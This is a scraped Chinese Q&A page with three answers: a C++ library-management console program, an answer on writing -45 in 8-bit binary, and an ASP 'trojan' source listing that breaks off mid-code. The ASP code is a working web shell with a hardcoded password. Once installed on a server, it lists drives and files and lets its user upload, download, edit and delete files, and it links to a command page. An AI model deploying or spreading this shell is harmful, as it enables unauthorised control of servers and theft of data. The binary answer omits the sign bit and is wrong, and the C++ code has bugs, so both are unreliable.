45D的源碼
『壹』 高分懸賞急求一段源代碼
#include<iostream>
#include<fstream>
#include<conio.h>
using namespace std;
class Librarian //圖書管理員類
{
public:
Librarian();
Librarian(int n,int j,char na[20],int w );
int getnumber();
int getjobage();
char *getname();
int getwages();
void resetjobage(int j);
void resetwages(int w);
void resetname(char na[20]);
private:
int number;
int jobage;
char name[20];
int wages;
};
Librarian::Librarian() //其函數的實現
{
number=0;
char b[20]="no one";
jobage=0;
strcpy(name,b);
}
Librarian::Librarian(int n,int j,char na[20],int w)
{
number=n;
jobage=j;
strcpy(name,na);
wages=w;
}
int Librarian::getjobage()
{return jobage;}
char *Librarian::getname()
{return name;}
int Librarian::getnumber()
{return number;}
int Librarian::getwages()
{return wages;}
void Librarian::resetjobage(int j)
{
jobage=j;
}
void Librarian::resetname(char na[20])
{
strcpy(name,na);
}
void Librarian::resetwages(int w)
{
wages=w;
}
class reader //讀者類
{
private:
int number;
int age;
char name[20];
char borrowbook[20];
public:
reader();
reader(int c,int a,char b[20],char e[20]);
int getnumber();
int getage();
char *getname();
char * getborrowbook();
void reworkborrowbook(char a[20]);
};
reader::reader() //其函數的實現
{
char a[20]="沒有人";
char c[20]="沒有借書";
number=0;
age=0;
}
reader::reader(int a,int c,char d[20],char e[20])
{
number=a;
age=c;
strcpy(name,d);
strcpy(borrowbook,e);
}
int reader::getnumber(){return number;}
int reader::getage(){return age;}
char *reader::getname(){return name;}
char * reader::getborrowbook(){return borrowbook;}
void reader::reworkborrowbook(char a[20]){strcpy(borrowbook,a);}
struct book //圖書的結構體
{
int num;
char name[20];
char writer[20];
};
void outbookinf() //輸出所有圖書信息
{
int i;
ifstream infile("allbook.txt",ios::in);
char line[50];
cout<<"書名"<<'\t'<<"書號"<<'\t'<<"作者"<<endl;
for(i=1;i<=10;i++)
{
infile.getline(line,50,'\n');
cout<<line<<endl;
}
infile.close();
}
void serchLaninf() //圖書管理員信息函數
{
int n,i;
ifstream file("serchLaninf.txt");
if(file) { file>>n; file.close();}
else {cout<<"沒有圖書管信息理員"; exit(0);}
ifstream is("controlloer.txt",ios_base::binary);
if(is)
{
Librarian *A=new Librarian[n];
for(i=0;i<n;i++)
{
is.read((char *)&A[i],sizeof(A[i]));
}
for(i=0;i<n;i++)
{
cout<<"編號"<<'\t'<<"工齡"<<'\t'<<"名字"<<'\t'<<"工資"<<endl;
cout<<A[i].getnumber()<<"\t"<<A[i].getjobage()<<"\t"<<A[i].getname()<<"\t"<<A[i].getwages()<<endl;
}
}
else
{
cout<<"txt文件打開出錯'"<<endl;
}
is.close();
}
void libary() //圖書館的總信息
{
system("cls");
system("color 2e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<"本校圖書館由本部圖書館及彭州校區圖書館組成,圖書館總面積達了****平方米";
cout<<" (本館現在有***類書籍***萬冊,****類書籍****萬冊,****類書籍****萬冊****類書籍****萬冊),";
cout<<"圖書館現有工作人員***名";
cout<<"圖書館現有的現代化設備價值超過****萬元………………"<<endl;
}
void storelibrarian() //存入新的管理員的信息
{
int age,n,num,wage;
char name[20];
ifstream file("serchLaninf.txt");
if(file) { file>>n; file.close();}
else { n=0;}
cout<<"已有的圖書管理員個數:";
cout<<n<<endl;
cout<<"請輸入新圖書管理員的編號和工齡,名字和工資:";
cin>>num>>age>>name>>wage;
Librarian A(num,age,name,wage);
cout<<"編號 工齡 名字 工資 "<<endl;
cout<<A.getnumber()<<" "<<A.getjobage()<<" "<<A.getname()<<" "<<A.getwages()<<endl;
ofstream outfile("controlloer.txt",ios_base::app );
outfile.write((char *)&A,sizeof(A));
outfile.close();
n++;
ofstream tfile("serchLaninf.txt");
tfile<<n;
tfile.close();
cout<<"保存成功!";
}
void reLaninf() //修改圖書管理員
{
int i,n,h,jobage,wage,j;
char name[20];
ifstream file("serchLaninf.txt");
if(file) { file>>n; file.close();}
else {cout<<"沒有圖書管信息理員";
exit(0);}
cout<<"已有的圖書管理員個數:";
cout<<n<<endl;
Librarian *A=new Librarian[n];
ifstream is("controlloer.txt",ios_base::binary);
if(is)
{
for(i=0;i<n;i++)
{
is.read((char *)&A[i],sizeof(A[i]));
}
for(i=0;i<n;i++)
{
cout<<"編號 工齡 名字 工資"<<endl;
cout<<A[i].getnumber()<<" "<<A[i].getjobage()<<" "<<A[i].getname()<<" "<<A[i].getwages()<<endl;
}
}
else
{
cout<<"打開文件出錯"<<endl;
}
is.close();
cout<<"請選擇你要修改的管理員編號:";
cin>>h;
cout<<"輸入新的工齡,名字,工資:";
cin>>jobage>>name>>wage;
A[h-1].resetjobage(jobage);
A[h-1].resetname(name);
A[h-1].resetwages(wage);
cout<<"該管理員修改後的名字是:"<<A[h-1].getname()<<" 工齡是:"<<A[h-1].getjobage()<<" 工資是:"<<A[h-1].getwages()<<endl;
ofstream tfile("controlloer.txt",ios_base::binary);
for(j=0;j<n;j++)
{
tfile.write((char *)&A[j],sizeof(A[j]));
}
tfile.close();
}
void aadbook() //新增圖書
{
int num;char name[12];char writer[10];int n;
a:
ofstream fout("allbook.txt",ios::app);
cout<<"請錄入圖書信息:"<<endl;
cout<<"書名"<<'\t'<<"書號"<<'\t'<<"作者"<<endl;
cin>>name;fout<<name<<'\t';
cin>>num;fout<<num<<'\t';
cin>>writer;fout<<writer<<'\n';
fout.close();
cout<<"是否繼續錄入?1.是2.否"<<endl;
cin>>n;
if(n==1)
goto a;
else
{void studentland();
studentland();}
}
void delate() //刪除函數
{ int m;
cout<<"選擇操作選項:"<<endl;
cout<<" 1.刪除全部信息"<<endl;
cout<<" 2.單個刪除"<<endl;
cin>>m;
if(m==1)
{ofstream file("allbook.txt",ios::trunc);
cout<<"全部刪除完畢,按任意鍵返回!"<<endl;
file.close();
getch();
system("cls");
void studentland();
studentland();
}
char str[10][80],buf[20];
a:
int i=0,flag=100,c=0;
ifstream fin("allbook.txt");
if(!fin){
cout<<"文件打開失敗!"<<endl;
getch();
system("cls");
void studentland();
studentland();
}
cout<<"請輸入你要刪除的書名:"<<endl;
cin>>buf;
strcat(buf,"\t");
while(fin.getline(str[i],80))
{
if(strncmp(str[i],buf,strlen(buf))==0)
{
flag=i;
}
i++;
}
fin.close();
if(flag==100)
{
cout<<"沒有你所要刪除的書籍!重新按1,否則0....."<<endl;
int b;
cin>>b;
if(b==1)goto a;
else c=1;
}
if(c==0){
ofstream fout("allbook.txt");
for(int j=0;j<i;j++){
if(j==flag)continue;
fout<<str[j]<<endl;
}
fout.close();
cout<<"你要刪除的書籍的信息已刪除,繼續按1,否則按0....."<<endl;
int b;
cin>>b;
if(b==1)goto a;
}
cout<<"操作已經結束,按任意鍵返回......"<<endl;
getch();
system("cls");
void studentland();
studentland();
}
void searchbook() // 查找書籍
{
a:
ifstream fin;
int flag=0,b,length;
char str[20];
char f[200];char g[200];
fin.open("allbook.txt");
if(!fin)
{
cout<<"Open f1.dat error....."<<endl;
exit(1);
}
while(1)
{
cout<<"請輸入書名:";
cin>>str;
strcat(str,"\t");
length=strlen(str);
cout<<"------------------------------------"<<endl;
while(fin.getline(f,199))
{
strcpy(g,f);
if(strncmp(str,f,length)==0)
{
flag=1;
break;
}
}
if(flag==1)
{
cout<<"所查詢的書已經找到:"<<'\n';
cout<<"--------------------------------"<<endl;
cout<<"書名"<<'\t'<<"書號"<<'\t'<<"作者"<<'\t'<<endl;
cout<<g<<endl;
cout<<"--------------------------------"<<endl;
flag=0;
cout<<"要繼續查詢按1,否則按0:"<<endl;
cin>>b;
if(b==0)break;
}
else
{
fin.close();
cout<<"沒有此書,繼續按1,否則按0..."<<endl;
cin>>b;
if(b==0)break;
goto a;
}
}
fin.close();
cout<<"查詢完畢,按任意鍵返回......"<<endl;
getch();
system("cls");
void studentland();
studentland();
}
void seachreader() // 查詢讀者信息
{
a:
ifstream fin;
int flag=0,b,length;
char str[20];
char f[200];char g[200];
fin.open("readernum.txt");
if(!fin)
{
cout<<"沒有此信息文件!"<<endl;
exit(1);
}
while(1)
{
cout<<"請輸入你要查找讀者的名字:";
cin>>str;
strcat(str,"\t");
length=strlen(str);
cout<<"------------------------------------"<<endl;
while(fin.getline(f,199))
{
strcpy(g,f);
if(strncmp(str,f,length)==0)
{
flag=1;
break;
}
}
if(flag==1)
{
cout<<"所查詢的讀者已經找到:"<<'\n';
cout<<"--------------------------------"<<endl;
cout<<"名字"<<'\t'<<"編號"<<'\t'<<"年齡"<<'\t'<<"借書次數"<<endl;
cout<<g<<endl;
cout<<"--------------------------------"<<endl;
flag=0;
cout<<"要繼續查詢按1,否則按0:"<<endl;
cin>>b;
if(b==0)break;
goto a;
}
else
{
fin.close();
cout<<"沒有此人,繼續按1,否則按0..."<<endl;
cin>>b;
if(b==0)break;
goto a;
}
}
fin.close();
cout<<"查詢完畢,按任意鍵返回......"<<endl;
getch();
system("cls");
void studentland();
studentland();
}
/*void seachreader() //查詢讀者的信息
{
int i,b,h=0;
char a[20];
ifstream file("readernum.txt");
if(file) { file>>b; file.close();}
else { cout<<"沒有文件";}
cout<<"已有的讀者個數:";
cout<<b<<endl;
reader *A=new reader[b];
ifstream is("reader.txt",ios_base::binary);
if(is)
{
for(i=0;i<b;i++)
{
is.read((char *)&A[i],sizeof(A[i]));
}
}
else
{
cout<<"txt文件打開出錯"<<endl;
}
is.close();
cout<<"請輸入你要查找讀者的名字:";
cin>>a;
for(i=0;i<b;i++)
{
if(strcmp(A[i].getname(),a)==0)
{
cout<<"編號 年齡 名字 借書情況 "<<endl;
cout<<A[i].getnumber()<<" "<<A[i].getage()<<" "<<A[i].getname()<<" "<<A[i].getborrowbook()<<endl;
h++;
}
}
if(h==0)cout<<"沒有這個讀者!";
}
*/
void Librarianland() //管理員登陸函數
{
int q,l=1,i,h;
system("cls");
system("color 2e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"現在進行身份確認,請輸入口令:";
cin>>i;
while(l)
{
if(i==00000)
{
system("cls");
system("color 3e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"|*******" <<"0,返回上一級菜單."<<" ******|"<<endl;
cout<<" "<<"|*******" <<"1,查詢圖書館管理員的信息"<<" ******|"<<endl;
cout<<" "<<"|*******" <<"2,存入新的管理員信息. "<<" ******|"<<endl;
cout<<" "<<"|*******" <<"3,修改圖書管理員的信息"<<" ******|"<<endl;
cout<<" "<<"|*******" <<"4,新增圖書"<<" ******|"<<endl;
cout<<" "<<"|*******" <<"5,刪除圖書"<<" ******|"<<endl;
cout<<"請選擇執行的操作:";
cin>>q;
if(q>=0&&q<6)
{
switch(q)
{
case 0:
l=0;
break;
case 1:serchLaninf();
system("pause");
break;
case 2:storelibrarian();
system("pause");
case 3:reLaninf();
system("pause");
break;
case 4:
void aadbook();
aadbook();
break;
case 5:
void delate();
delate();
break;
default:
break;
}
}
else
{
system("cls");
system("color 4e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"操作無效!"<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
system("pause");
}
}
else
{
system("cls");
system("color 2e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<" 身份確認失敗"<<endl;
cout<<" "<<" 是否重新確認!"<<endl;
cout<<" "<<"重新確認請按請按1,放棄請按0"<<endl;
cout<<" ";
cin>>h;
if(h==0) l=0;
if(h==1)
{
system("cls");
system("color 2e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"請再次輸入口令:";
cin>>i;
}
}
}
}
void studentland() //學生登陸函數
{
int h;
char l='y';
while(l=='y')
{
system("cls");
system("color 3e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"****** "<<"|輸出藏書信息,請按1 | "<<"******"<<endl;
cout<<" "<<"****** "<<"|查詢圖書館的總信息,請按2| "<<"******"<<endl;
cout<<" "<<"****** "<<"|按書名查找圖書,請按3 | "<<"******"<<endl;
cout<<" "<<"****** "<<"|查詢讀者的信息,請按4 | "<<"******"<<endl;
cout<<" "<<" ****** "<<"|返回上一級菜單,請按0 | "<<"******"<<endl;
cout<<"請選擇您將執行的操作:";
cin>>h;
if(h>=0&&h<5)
switch(h)
{
case 0:
l='n';
break;
case 1:outbookinf();
system("pause");
break;
case 2:libary();
system("pause");
break;
case 3:searchbook();
system("pause");
break;
case 4:seachreader();
system("pause");
break;
}
else
{
system("cls");
system("color 4e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"您的操作是無效的!!!!"<<endl;
system("pause");
}
}
}
void main() // 主函數
{
int h,l=1;
while(l)
{
system("cls");
system("color 7c");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"圖書管理系統"<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" ------------------"<<endl;
cout<<" "<<"||管理員登陸 請按1||"<<endl;
cout<<" "<<"||學生登陸 請按2 ||"<<endl;
cout<<" "<<"||退出系統 請按0 ||"<<endl;
cout<<" -------------------"<<endl;
cout<<""<<endl;
cout<<" 請您選擇登陸方式:";
cin>>h;
if(h>=0&&h<3)
{
switch(h)
{
case 0:
cout<<"謝謝光臨本圖書館!"<<endl;
exit(0);
case 1:
Librarianland();
system("pause");
break;
case 2:
studentland();
system("pause");
break;
}
}
else
{
system("cls");
system("color 4e");
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<"您的操作是無效的!!!!"<<endl;
system("pause");
}
}
}
圖書館的管理系統。
『貳』 十進制數-45用8位二進制數表示的源碼是
101101 用45一直除2,後面的余數從下往上寫就可以了!!!
45/2=22餘1
22/2=11餘0
11/2=5 餘1
5/2=2 餘1
2/2=1 餘0
1/2 餘1
從下往上就是101101 這個比較巧合從上往下和從下往上都一樣.但是一定要從下往上
如果在自己電腦上,可以不用手算!直接:開始,程序,附件,計算器,點查看,科學型,輸入45,點二進制就出來了
『叄』 木馬程序源碼
一個asp木馬:
<%@ LANGUAGE = VBScript.Encode codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function
Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上傳程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read
iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.to dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>
<body>
<%if request.form("password")<>"" then
response.write "Password Error!"
end if
%>
<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
<tr>
<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p>Enter Password:<input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
<input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"></p>
</center></div>
</form>
</td>
</tr>
</table>
</body>
</html>
<%end if%>
<%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上級目錄</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script><%
end if
End Sub
Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<style type="text/css">
<!--
table{ font-family: 宋體; font-size: 9pt }
a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
-->
</style>
</head>
<script language="javaScript">
function crfile(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "位元組</td><td width='30%'><a href='#' title='類型:" & type1 & chr(10) & "屬性:" & Attributes & chr(10) & "時間:" & DateLastModified &"'>屬性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>編輯</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>刪除</a> <a href='#' onclick=file('" & lpath & Name & "')><font color='#FF8000' ></font>復制</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下載</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>刪除</a><br>"
end sub
sub rmdir1(ls)
if confirm("你真的要刪除這個文件嗎!"&Chr(13)&Chr(10)&"文件為:"&ls) then
window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")
end if
end sub
sub rmdir(ls)
if confirm("你真的要刪除這個目錄嗎!"&Chr(13)&Chr(10)&"目錄為:"&ls) then
window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")
end if
end sub
sub file(sfile)
dfile=InputBox("※文件復制※"&Chr(13)&Chr(10)&"源文件:"& sfile&Chr(13)&Chr(10)&"輸入目標文件的文件名:"&Chr(13)&Chr(10) &"[允許帶路徑,要根據你的當前路徑模式]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "對不起,你在相對路徑模式下不能使用絕對路徑"&Chr(13)&Chr(10)&"錯誤路徑:["&dfile&"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=&attrib="+attrib+"&dpath="+lp+dfile)
else
alert"您沒有輸入文件名!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
<tr>
<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※換盤:<span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in oFileSys.Drives
Response.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"
NEXT
%> </span> 地址:
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
response.write "<a href='" & rseb & "?q=list.asp'>切到相對路徑</a>"
else
response.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切到絕對路徑</a>"
end if
%> ※絕對:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※當前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">
編輯|
<input class="tx1" type="text" name="filename" size="20">
<input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">
<input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="tx1" style="width:100" value="">
<input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="tx" value="1">
<input class="tx1" type="submit" value="上傳">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">
</td>
</td>
</tr></form>
<tr>
<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>
<%else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edit.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>編輯源代碼</title>
<style>
<!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '讀文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "<script>alert('刪除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
